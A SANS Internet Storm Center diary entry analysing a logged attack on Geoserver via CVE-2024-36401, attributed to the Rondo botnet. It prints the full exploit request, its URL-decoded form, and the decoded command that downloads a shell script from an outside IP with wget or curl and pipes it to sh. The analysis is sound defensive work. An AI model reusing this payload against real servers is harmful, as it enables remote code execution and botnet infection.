Rondo Meets Geoserver, (Wed, Jul 22nd)
\n \t
\n
<\/BR>
\n
\n \t
\n
<\/BR><\/p>\n
This isn’t a new attack, but something I saw “pop-up” in our logs this week:<\/p>\n
\n
GET \/geoserver\/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),%27bash%20-c%20%7Becho%2CKHdnZXQgLXFPLSBodHRwOi8vNDUuMTUzLjM0LjE1My9yb25kby5gYHp5dC5zaHx8YnVzeWJveCB3Z2V0IC1xTy0gaHR0cDovLzQ1LjE1My4zNC4xNTMvcm9uZG8uYGB6eXQuc2h8fGN1cmwgLXMgaHR0cDovLzQ1LjE1My4zNC4xNTMvcm9uZG8uYGB6eXQuc2gpfHNo%7D%7C%7Bbase64%2C-d%7D%7Csh%27) HTTP\/1.1
\nHost: [redeacted]:8080
\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:152.0) Gecko\/20100101 Firefox\/152.0
\nConnection: close
\nAccept: *\/*<\/code><\/p>\n<\/blockquote>\nThis attack is associated with\u00a0CVE-2024-36401, an X-Path expression evaluation issue in Geoserver. Geoserver is a tool used to manage and manipulate data for geographic information systems (“maps”).<\/p>\n
URL decoding the URL leads to\u00a0<\/p>\n
\n
\/geoserver\/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),'bash -c {echo,KHdnZXQgLXFPLSBodHRwOi8vNDUuMTUzLjM0LjE1My9yb25kby5gYHp5dC5zaHx8YnVzeWJveCB3Z2V0IC1xTy0gaHR0cDovLzQ1LjE1My4zNC4xNTMvcm9uZG8uYGB6eXQuc2h8fGN1cmwgLXMgaHR0cDovLzQ1LjE1My4zNC4xNTMvcm9uZG8uYGB6eXQuc2gpfHNo}|{base64,-d}|sh')<\/code><\/p>\n<\/blockquote>\nAnd base64 decoding the string gets us:<\/p>\n
\n
(wget -qO- http:\/\/45.153.34.153\/rondo.``zyt.sh||busybox wget -qO- http:\/\/45.153.34.153\/rondo.``zyt.sh||curl -s http:\/\/45.153.34.153\/rondo.``zyt.sh)|sh<\/code><\/p>\n<\/blockquote>\nSo what we have is the “good old” Rondo botnet. It has been seen going after Geoserver before. Rondo is often playing little tricks with referense to rappers [1]. In this case, it looks like the botnet was kicked out form the host, and now returns:<\/p>\n
\n
<!-- You won't find it here -->
\n<!DOCTYPE html>
\n<html lang=\"en\">
\n<head>
\n\u00a0 <meta charset=\"UTF-8\" \/><\/code><\/p>\n<\/blockquote>\nor maybe it is still there (see first line?), just not as visible? Makes me miss some of the defacement wars from the late 90s.<\/p>\n
\u00a0<\/p>\n
—
\nJohannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu<\/a>
\nTwitter<\/a>|<\/p>\n(c) SANS Internet Storm Center. https:\/\/isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.<\/p><\/div>\n
\t
\n
<\/BR><\/p>\n